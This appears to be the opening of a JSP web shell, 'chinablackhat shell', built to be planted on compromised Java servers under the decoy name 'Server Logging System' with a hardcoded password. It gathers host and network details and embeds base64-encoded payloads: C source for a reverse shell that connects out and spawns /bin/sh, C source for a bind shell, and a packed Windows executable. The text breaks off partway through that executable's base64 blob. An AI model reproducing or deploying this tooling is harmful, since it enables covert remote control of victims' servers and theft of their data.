//
//chinablackhat shell //^^^^^^^^^^^^//author: chinablackhat//greets: chinablackhat(s) and all of you who love peace and freedom//
//
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^//Jayalah Indonesiaku//################ VARIABLES GOES HERE #######################=============================================]
String shell_name = "Chinablackhat";
String shell_fake_name= "Chinablackhat Server Logging System";
String shell_title= " :: " + shell_name + " ::";
String shell_version= "v1";
String shell_password= "Linux.config";
String shell_fav_port= "12345";
String shell_color= "#374374";//server software
String xSoftware =application.getServerInfo().trim();//uname -a
String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch");//server ip
InetAddress inetAddress =InetAddress.getLocalHost();
String xServerIP=inetAddress.getHostAddress();//your ip ;-)
String xClientIP =request.getRemoteAddr();
String xHeader= xSoftware + "
" + xSystem + "
Server IP: [ " + xServerIP + " ] Your IP: [ " + xClientIP + " ]";//################# RESOURCES GOES HERE #######################=============================================]
String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
String bg= "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
String xBack="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
String xBind= "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ==";
String wBind= "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